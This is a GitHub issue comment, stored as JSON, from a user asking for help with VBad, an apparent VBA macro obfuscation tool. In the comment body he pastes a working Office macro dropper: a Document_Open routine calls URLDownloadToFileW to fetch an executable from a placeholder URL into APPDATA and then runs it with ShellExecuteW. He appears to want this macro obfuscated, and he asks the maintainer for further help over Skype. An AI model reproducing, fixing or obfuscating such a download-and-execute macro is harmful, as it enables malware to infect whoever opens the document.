{"action":"created","issue":{"url":"https://api.github.com/repos/Pepitoh/VBad/issues/3","repository_url":"https://api.github.com/repos/Pepitoh/VBad","labels_url":"https://api.github.com/repos/Pepitoh/VBad/issues/3/labels{/name}","comments_url":"https://api.github.com/repos/Pepitoh/VBad/issues/3/comments","events_url":"https://api.github.com/repos/Pepitoh/VBad/issues/3/events","html_url":"https://github.com/Pepitoh/VBad/issues/3","id":160875653,"number":3,"title":"The Trigger Function name has not been found in the vba, trigger point cannot be set.","user":{"login":"eternal1502","id":19981436,"avatar_url":"https://avatars.githubusercontent.com/u/19981436?v=3","gravatar_id":"","url":"https://api.github.com/users/eternal1502","html_url":"https://github.com/eternal1502","followers_url":"https://api.github.com/users/eternal1502/followers","following_url":"https://api.github.com/users/eternal1502/following{/other_user}","gists_url":"https://api.github.com/users/eternal1502/gists{/gist_id}","starred_url":"https://api.github.com/users/eternal1502/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/eternal1502/subscriptions","organizations_url":"https://api.github.com/users/eternal1502/orgs","repos_url":"https://api.github.com/users/eternal1502/repos","events_url":"https://api.github.com/users/eternal1502/events{/privacy}","received_events_url":"https://api.github.com/users/eternal1502/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":6,"created_at":"2016-06-17T12:17:27Z","updated_at":"2016-07-13T01:47:15Z","closed_at":"2016-07-11T15:09:11Z","body":"I get this error on my windows command prompt. \"The Trigger Function name has not been found in the vba, trigger point cannot be set.\" I dont know wat am doing wrong, as am just a beginner on Python. Any help please."},"comment":{"url":"https://api.github.com/repos/Pepitoh/VBad/issues/comments/232232419","html_url":"https://github.com/Pepitoh/VBad/issues/3#issuecomment-232232419","issue_url":"https://api.github.com/repos/Pepitoh/VBad/issues/3","id":232232419,"user":{"login":"eternal1502","id":19981436,"avatar_url":"https://avatars.githubusercontent.com/u/19981436?v=3","gravatar_id":"","url":"https://api.github.com/users/eternal1502","html_url":"https://github.com/eternal1502","followers_url":"https://api.github.com/users/eternal1502/followers","following_url":"https://api.github.com/users/eternal1502/following{/other_user}","gists_url":"https://api.github.com/users/eternal1502/gists{/gist_id}","starred_url":"https://api.github.com/users/eternal1502/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/eternal1502/subscriptions","organizations_url":"https://api.github.com/users/eternal1502/orgs","repos_url":"https://api.github.com/users/eternal1502/repos","events_url":"https://api.github.com/users/eternal1502/events{/privacy}","received_events_url":"https://api.github.com/users/eternal1502/received_events","type":"User","site_admin":false},"created_at":"2016-07-13T01:47:15Z","updated_at":"2016-07-13T01:47:15Z","body":"Hey bro, I tried that, and it still didnt work.\r\nI also tried with the VBS code below, I tried it as it is, and I tried renaming the Document_open() function to  \"Function_trigger()\" it didnt work either. Pls wat am I doing wrong. Also if you dont mind we could talk on skype as it will be easier for me to ask for help and advice that way. Let me know. Thanks a lot for your help. \r\n\r\nOption Explicit\r\n\r\nPrivate Declare PtrSafe Function fDownloadUnicode Lib \"urlmon\" Alias \"URLDownloadToFileW\" (ByVal Value1 As LongLong, ByVal Value2 As LongLong, ByVal Value3 As LongLong, ByVal Value4 As LongLong, ByVal Value5 As LongLong) As LongLong\r\nPrivate Declare PtrSafe Function fExecuteUnicode Lib \"shell32.dll\" Alias \"ShellExecuteW\" (ByVal Value1 As LongLong, ByVal Value2 As LongLong, ByVal Value3 As LongLong, ByVal Value4 As LongLong, ByVal Value5 As LongLong, ByVal Value6 As LongLong) As LongLong\r\n\r\nPrivate Sub Document_Open()\r\nCall YourSub\r\nEnd Sub\r\n\r\nPrivate Sub YourSub()\r\nDim sUrl As String, sPath As String\r\nsUrl = \"http://www.domain.com\"\r\nsPath = Environ(\"APPDATA\") & \"\\Examples.exe\"\r\nCall fDownloadUnicode(0, StrPtr(sUrl), StrPtr(sPath), 0, 0)\r\nCall fExecuteUnicode(0, StrPtr(\"Open\"), StrPtr(sPath), 0, 0, 1)\r\nEnd Sub\r\n\r\n\r\n\r\n\r\nP.S :  By the way it works fine when I use the original vbs script from your post.\r\n\r\nFunction [rdm::15]Test_Function(ByVal [rdm::10]FileToTest As String) As Boolean\r\n   FileExists = (Dir(FileToTest) <> \"\")\r\nEnd Function\r\n\r\nPublic Function [rdm::15]Test()\r\n\t[rdm::8]kikou = \"AZERTY1234\"\r\n\t[rdm::15]test3 = \"HELLO_WORLD\"\r\n\t[rdm::5]Excluded_string = \"ExcludedString[!!]\"\r\n\tMsgBox test3\r\n\t[rdm::12]domain_list = [var::domain_name]\r\n\t[rdm::4]path = [var::path_to_save] \r\n\tmsgbox domain_list\r\n\tmsgbox path\r\n\t\r\nEnd Function"}}
{"actor":{"display_login":"eternal1502"}}